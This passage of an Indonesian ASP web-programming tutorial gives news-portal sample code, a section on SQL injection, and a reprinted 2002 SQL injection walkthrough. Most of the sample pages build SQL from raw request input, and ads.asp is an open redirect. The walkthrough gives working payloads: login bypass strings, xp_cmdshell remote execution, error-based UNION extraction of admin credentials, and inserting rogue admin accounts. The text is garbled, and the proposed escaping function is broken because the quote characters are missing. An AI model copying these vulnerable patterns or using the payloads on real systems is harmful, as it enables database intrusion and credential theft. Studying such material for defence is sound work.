  30. 30. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses") Else Response.write ("Gagal") End If End IfEnd If %></center></body></html>editberita.asp<!--#include file="mylib.asp"--><%Dim Id, IdBeritaIf periksalogin() = 0 then Response.Redirect("index.asp")End IfId = Request.QueryString("Id")IdBerita = Request.QueryString("IdBerita")%><html><head><title>Ed Berita</title></head><body><center><%if Id = "" Then Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select * From Berita Where Id=" & IdBerita & " AndUsername=" & Username & ";" rs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic%><form method="POST" action="editberita.asp?Id=1&idberita=<% =idberita%>"> <table border="1" width="300"> <tr>Indoprog 30
  31. 31. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <td width="100%" colspan="2"> <p align="center">Ed Berita</td> </tr> <tr> <td width="50%"> <p align="left">Judul</td> <td width="50%"> <p align="left"><input type="text" name="EdJudul" size="50"value="<% =rs("Judul") %>"></td> </tr> <tr> <td width="50%"> <p align="left">Ringkasan</td> <td width="50%"> <p align="left"><textarea rows="4" name="EdRingkasan"cols="50"><% =rs("Ringkasan") %></textarea></td> </tr> <tr> <td width="50%"> <p align="left">Isi</td> <td width="50%"> <p align="left"><textarea rows="50" name="EdIsi" cols="50"><%=rs("Isi") %></textarea></td> </tr> <td width="50%"> <p align="left">&nbsp;</td> <td width="50%"> <p align="left"><input type="submit" value="Submit"name="B1"><input type="reset" value="Reset" name="B2"></td> </tr> </table></form><% rs.closeElse Dim EdJudul Dim EdRingkasan Dim EdIsi EdJudul = request.form("EdJudul") EdRingkasan = request.form("EdRingkasan") EdIsi = request.form("EdIsi") If EdJudul = "" or EdRingkasan = "" or EdIsi = "" Then response.write("Judul atau Ringkasan atau Isi tidak boleh kosong!") Else SSQL = "Update Berita Set Judul =" & EdJudul & ",Ringkasan="& EdRingkasan & ",Isi =" & EdIsi & ",Waktu =" & Now & " Where Id="& IdBerita & " And Username=" & Username & ";" Application("Connection").Execute SSQL, Affected If Affected > 0 Then Response.write ("Sukses")Indoprog 31
  32. 32. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. Else Response.write ("Gagal") End If End IfEnd If %></center></body></html>approveberita.asp<!--#include file="mylib.asp"--><%Dim IdBeritaIf periksalogin() = 0 or Session("Level") <> "R" then Response.Redirect("index.asp")End IfIdBerita = Request.QueryString("IdBerita")%><html><head><title>Approve</title></head><body><center><%SSQL = "Update Berita Set Status = A Where ID=" & IdBerita & ";"Application("Connection").Execute SSQL, AffectedIf Affected > 0 Then Response.write ("Approve Sukses")Else Response.write ("Approve Gagal")End If%></center></body></html>viewberita.asp<!--#include file="mylib.asp"-->Indoprog 32
  33. 33. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.<%Dim idberitaIf periksalogin() = 0 then Response.Redirect("index.asp")End Ifidberita = Request.QueryString("idberita")%><html><head><title>View Berita</title></head><%Dim rsset rs = Server.CreateObject("ADODB.RecordSet")If Session("Level") = "R" Then SSQL = "Select * From Berita Where id=" & idberita & "And Status=N;"Else SSQL = "Select * From Berita Where id=" & idberita & "And Username=" & session("Username") & ";"End Ifrs.OpensSQL,Application("Connection"),adOpenForwardOnly,adLockOptimisticIf not rs.eof then%> <p><% =rs("JUDUL") %></p> <p><% =rs("WAKTU") %></p> <p><% =rs("RINGKASAN") %></p> <p><% =rs("ISI") %></p><%End IFrs.close%></table><body><center><p></p></center></body></html>Indoprog 33
  34. 34. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Project Portal BeritaASP AdRotator ComponentKomponen ASP AdRotator membuat suatu object AdRotator yang menampilkan gambaryang berbeda setiap seorang user menampilkan atau melakukan refresh terhadap sebuahhalaman. Sebuah text file dibutuhkan untuk menyimpan informasi dari gambar-gambar.Buatlah sebuah file ads.txt dan simpan ke folder dboREDIRECT ads.asp*images/banner1.gifhttp://www.w3schools.com/Visit W3Schools80images/banner2.gifhttp://www.microsoft.com/Visit Microsoft20REDIRECT ads.asp, adalah file yang akan dipanggil ketika pemakai melakukan klikterhadap banner yang ditampilkan.angka 80 dan 20 dalam hal ini adalah perbandingan probabilitas kemunculan banner yaitu80% banding 20%.Ketik script berikut dan simpan dengan nama "ads.asp", simpan ke folder anda, danlaukuan browse.<%url=Request.QueryString("url")If url<>"" then Response.Redirect(url)%><html><body><%set adrotator=Server.CreateObject("MSWC.AdRotator")response.write(adrotator.GetAdvertisement("dbo/ads.txt"))%></body></html>Indoprog 34
  35. 35. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Contoh file berita.asp<!--#include file="mylib.asp"--><html><head><title>Indonesia Terkini</title></head><body><center><table border="0" width="620"> <tr> <td width="200"> <img border="0" src="images/logo.gif" width="165" height="76"></td> <td width="420"><%set adrotator=Server.CreateObject("MSWC.AdRotator")response.write(adrotator.GetAdvertisement("dbo/ads.txt"))%> </td> </tr> <tr> <td colspan="2"><hr></td> </tr><%Dim rsset rs = Server.CreateObject("ADODB.RecordSet")SSQL = "Select Top 10 * From Berita Where Status = A Order by Waktu DESC;"rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimisticdo while not rs.Eof%> <tr> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>&nbsp;</td> <td> <p><% =rs("Waktu") %><br>Indoprog 35
  36. 36. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST. <a href="goto.asp?id=<% =rs("Id") %>"><% =rs("Judul") %></a><br> <% =rs("ringkasan") %></p> </td> </tr><% rs.movenextloop%> <tr> <td colspan="2"><hr></td> </tr> <tr> <td colspan="2"> <p align="center">(c) Indonesia terkini</td> </tr></table></center></body><%rs.close%></html>Membuka berita ke halaman lain dengan javascript.<a href=# onClick=window.open("goto.asp?id=<% =rs("Id") %>","Goto","");returnfalse;>Indoprog 36
  37. 37. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Indoprog 37
  38. 38. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Koneksi ASP dengan SQL ServerBerikut ini adalah contoh file Global.asa yang membuka koneksi ke suatu SQL server<script language="vbscript" runat="server">Sub Application_OnStart Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=SQLOLEDB.1;Password=password;PersistSecurity Info=True;User ID=sa;Initial Catalog=databasename;DataSource=sqlservername" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0End SubSub Session_OnStart Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Application("Connection").Execute "Update Visitor SetVisitor=Visitor+1, Lasttime = GetDate();" Session.TimeOut = 5End SubSub Session_OnEnd Application.Lock Application("visitors")=Application("visitors")-1 Application.UnLockEnd SubSub Application_OnEnd Application("connection").closeEnd Sub</script>Contoh menjalankan Stored Procedure dengan CommandConst adCmdText = 1Dim commset comm = Server.CreateObject("ADODB.Command")set comm.activeconnection = Application("Connection")comm.commandtype = adCmdTextcomm.commandtext = "Exec REJECT_H0_AHM_DEALERS_ARTEMP " & id & "," &AmbilLevel() & "," & keteranganapprove & "," & Session("Username")& ""Indoprog 38
  39. 39. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.comm.executeIndoprog 39
  40. 40. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Masalah SQL InjectionSalah satu permasalahan dalam pemakaian perintah SQL dalam Server Side Includeadalah SQL Injection, sebagai mana anda ketahui bahwa dalam ASP Script kita banyakmenggunakan perintah SQL, dan perintah SQL tersebut akan dikonstruksi pada saatRuntime berdasarkan request dari pemakai, maka resiko SQL Injection akan terjadi.Contoh :Misalnya kita menggunakan SQL Statement berikut ini untuk pemeriksaan username danpassword.SSQL = "Select count(*) as Ada From Operator Where Username=" &Username & " And Password=" & Password & ";"Username = tidak tahuPassword = Or 1 = 1Maka pada saat runtime konstruksi dari perintah SQL akan berubah menjadi :Select count(*) as Ada From Operator Where Username=tidak tahu And Password= Or1=1;Yang jika dievaluasi akan menghasilkan nilai True untuk sembarang Username, karenalogika 1=1 selamanya menghasilkan nilai True.Solusi :Buatlah sebuah function sebagai berikut :Function PeriksaString(x)PeriksaString = Replace(Replace(x,"",""),";","")End FunctionSSQL = "Select count(*) as Ada From Operator Where Username=" &PeriksaString(Username) & " And Password=" & PeriksaString(Password)& ";"Solusi diatas dilakukan dengan menganti semua petik tunggal dengan dua petik tunggal,dan membuang tanda ;.Sehingga kalau metode SQL Injection dilakukan akan menghasilkan konstruksi sqlsebagai berikut :Indoprog 40
  41. 41. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Select count(*) as Ada From Operator Where Username=tidak tahu And Password= Or1=1;Indoprog 41
  42. 42. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.SQL Injection Walkthrough 26 May 2002 Summary The following article will try to help beginners with grasping the problemsfacing them while trying to utilize SQL Injection techniques, to successfully utilize them,and to protect themselves from such attacks. Credit:The information has been provided by SK. Details 1.0 IntroductionWhen a machine has only port 80 opened, your most trusted vulnerability scanner cannotreturn anything useful, and you know that the admin always patch his server, we have toturn to web hacking. SQL injection is one of type of web hacking that require nothing butport 80 and it might just work even if the admin is patch-happy. It attacks on the webapplication (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or servicesrunning in the OS.This article does not introduce anything new, SQL injection has been widely written andused in the wild. We wrote the article because we would like to document some of ourpen-test using SQL injection and hope that it may be of some use to others. You may finda trick or two but please check out the "9.0 Where can I get more info?" for people whotruly deserve credit for developing many techniques in SQL injection.1.1 What is SQL Injection?It is a trick to inject SQL query/command as an input possibly via web pages. Many webpages take parameters from web user, and make SQL query to the database. Take forinstance when a user login, web page that user name and password and make SQL queryto the database to check if a user has valid name and password. With SQL Injection, it ispossible for us to send crafted user name and/or password field that will change the SQLquery and thus grant us something else.1.2 What do you need?Any web browser.2.0 What you should look for?Try to look for pages that allow you to submit data, i.e: login page, search page,feedback, etc. Sometimes, HTML pages use POST command to send parameters toanother ASP page. Therefore, you may not see the parameters in the URL. However, youcan check the source code of the HTML, and look for "FORM" tag in the HTML code.You may find something like this in some HTML codes:<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>Everything between the <FORM> and </FORM> have potential parameters that might beuseful (exploit wise).2.1 What if you cant find any page that takes input?You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especiallyIndoprog 42
  43. 43. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.for URL that takes parameters, like:http://duck/index.asp?id=103.0 How do you test if it is vulnerable?Start with a single quote trick. Input something like:hi or 1=1--Into login, or password, or even in the URL. Example: - Login: hi or 1=1-- - Pass: hi or 1=1-- - http://duck/index.asp?id=hi or 1=1--If you must do this with a hidden field, just download the source HTML from the site,save it in your hard disk, modify the URL and hidden field accordingly. Example:<FORM action=http://duck/Search/search.asp method=post><input type=hidden name=A value="hi or 1=1--"></FORM>If luck is on your side, you will get login without any login name or password.3.1 But why or 1=1--?Let us look at another example why or 1=1-- is important. Other than bypassing login, itis also possible to view extra information that is not normally available. Take an asp pagethat will link you to another page with the following URL:http://duck/index.asp?category=foodIn the URL, category is the variable name, and food is the value assigned to thevariable. In order to do that, an ASP might contain the following code (OK, this is theactual code that we created for this exercise):v_cat = request("category")sqlstr="SELECT * FROM product WHERE PCategory=" & v_cat & ""set rs=conn.execute(sqlstr)As we can see, our variable will be wrapped into v_cat and thus the SQL statementshould become:SELECT * FROM product WHERE PCategory=foodThe query should return a resultset containing one or more rows that match the WHEREcondition, in this case, food.Indoprog 43
  44. 44. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.Now, assume that we change the URL into something like this:http://duck/index.asp?category=food or 1=1--Now, our variable v_cat equals to "food or 1=1-- ", if we substitute this in the SQLquery, we will have:SELECT * FROM product WHERE PCategory=food or 1=1--The query now should now select everything from the product table regardless ifPCategory is equal to food or not. A double dash "--" tell MS SQL server ignore the restof the query, which will get rid of the last hanging single quote (). Sometimes, it may bepossible to replace double dash with single hash "#".However, if it is not an SQL server, or you simply cannot ignore the rest of the query,you also may try or a=aThe SQL query will now become:SELECT * FROM product WHERE PCategory=food or a=aIt should return the same result.Depending on the actual SQL query, you may have to try some of these possibilities: or 1=1--" or 1=1--or 1=1-- or a=a" or "a"="a) or (a=a4.0 How do I get remote execution with SQL injection?Being able to inject SQL command usually mean, we can execute any SQL query at will.Default installation of MS SQL Server is running as SYSTEM, which is equivalent toAdministrator access in Windows. We can use stored procedures likemaster..xp_cmdshell to perform remote execution:; exec master..xp_cmdshell ping 10.10.1.2--Try using double quote (") if single quote () is not working.The semi colon will end the current SQL query and thus allow you to start a new SQLcommand. To verify that the command executed successfully, you can listen to ICMPIndoprog 44
  45. 45. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.packet from 10.10.1.2, check if there is any packet from the server:#tcpdump icmpIf you do not get any ping request from the server, and get error message indicatingpermission error, it is possible that the administrator has limited Web User access to thesestored procedures.5.0 How to get output of my SQL query?It is possible to use sp_makewebtask to write your query into an HTML:; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROMINFORMATION_SCHEMA.TABLES"But the target IP must folder "share" sharing for Everyone.6.0 How to get data from the database using ODBC error messageWe can use information from error message produced by the MS SQL Server to getalmost any data we want. Take the following page for example:http://duck/index.asp?id=10We will try to UNION the integer 10 with another string from the database:http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLES--The system table INFORMATION_SCHEMA.TABLES contains information of alltables in the server. The TABLE_NAME field obviously contains the name of each tablein the database. It was chosen because we know it always exists. Our query:SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-This should return the first table name in the database. When we UNION this string valueto an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. Thiswill produce an error, since we cannot convert nvarchar to int. The server will display thefollowing error:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value table1 to a column of data type int./index.asp, line 5The error message is nice enough to tell us the value that cannot be converted into aninteger. In this case, we have obtained the first table name in the database, which is"table1".Indoprog 45
  46. 46. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.To get the next table name, we can use the following query:http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (table1)--We also can search for data using LIKE keyword:http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROMINFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %25login%25--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value admin_login to a column of data type int./index.asp, line 5The matching patent, %25login%25 will be seen as %login% in SQL Server. In thiscase, we will get the first table name that matches the criteria, "admin_login".6.1 How to mine all column names of a table?We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out allcolumns name of a table:http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_login--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value login_id to a column of data type int./index.asp, line 5Now that we have the first column name, we can use NOT IN () to get the next columnname:http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_loginWHERE COLUMN_NAME NOT IN (login_id)--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting theIndoprog 46
  47. 47. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.nvarchar value login_name to a column of data type int./index.asp, line 5When we continue further, we obtained the rest of the column name, i.e. "password","details". We know this when we get the following error message:http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROMINFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=admin_loginWHERE COLUMN_NAME NOT IN (login_id,login_name,password,details)--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e14[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear inthe select list if the statement contains a UNION operator./index.asp, line 56.2 How to retrieve any data we want?Now that we have identified some important tables, and their column, we can use thesame technique to gather any information we want from the database.Now, lets get the first login_name from the "admin_login" table:http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value neo to a column of data type int./index.asp, line 5We now know there is an admin user with the login name of "neo". Finally, to get thepassword of "neo" from the database:http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_loginwhere login_name=neo--Output:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value m4trix to a column of data type int./index.asp, line 5We can now login as "neo" with his password "m4trix".Indoprog 47
  48. 48. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.6.3 How to get numeric string value?There is limitation with the technique describe above. We cannot get any error message ifwe are trying to convert text that consists of valid number (character between 0-9 only).Let say we are trying to get password of "trinity" which is "31173":http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_loginwhere login_name=trinity--We will probably get a "Page Not Found" error. The reason being, the password "31173"will be converted into a number, before UNION with an integer (10 in this case). Since itis a valid UNION statement, SQL server will not throw ODBC error message, and thus,we will not be able to retrieve any numeric entry.To solve this problem, we can append the numeric string with some alphabets to makesure the conversion fail. Let us try this query instead:http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int,password%2b%20morpheus) FROM admin_login where login_name=trinity--We simply use a plus sign (+) to append the password with any text we want. (ASSCIIcode for + = 0x2b). We will append (space)morpheus into the actual password.Therefore, even if we have a numeric string 31173, it will become 31173 morpheus. Bymanually calling the convert() function, trying to convert 31173 morpheus into aninteger, SQL Server will throw out ODBC error message:Microsoft OLE DB Provider for ODBC Drivers error 80040e07[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting thenvarchar value 31173 morpheus to a column of data type int./index.asp, line 5Now, you can even login as trinity with the password 31173.7.0 How to update/insert data into the database?When we successfully gather all column name of a table, it is possible for us to UPDATEor even INSERT a new record in the table. For example, to change password for "neo":http://duck/index.asp?id=10; UPDATE admin_login SET password = newpas5WHERE login_name=neo--To INSERT a new record into the database:http://duck/index.asp?id=10; INSERT INTO admin_login (login_id, login_name,password, details) VALUES (666,neo2,newpas5,NA)--We can now login as "neo2" with the password of "newpas5".Indoprog 48
  49. 49. Pemanfaatan ASP untuk web programming Oleh : Hendra, ST.8.0 How to avoid SQL Injection?Filter out character like single quote, double quote, slash, back slash, semi colon,extended character like NULL, carry return, new line, etc, in all strings from: - Input from users - Parameters from URL - Values from cookieFor numeric value, convert it to an integer before parsing it into SQL statement. Or usingISNUMERIC to make sure it is an integer.Change "Startup and run SQL Server" using low privilege user in SQL Server Securitytab.Delete stored procedures that you are not using like:master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask9.0 Where can I get more info?One of the earliest works on SQL Injection we have encountered should be the paperfrom Rain Forest Puppy about how he hacked PacketStorm.http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6Great article on gathering information from ODBC error messages:http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.docA good summary of SQL Injection on various SQL Server onhttp://www.owasp.org/asac/input_validation/sql.shtmlSenseports article on reading SQL Injection:http://www.sensepost.com/misc/SQLinsertion.htmOther worth readings:http://www.digitaloffense.net/wargames01/IOWargames.ppthttp://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdfIndoprog 49

×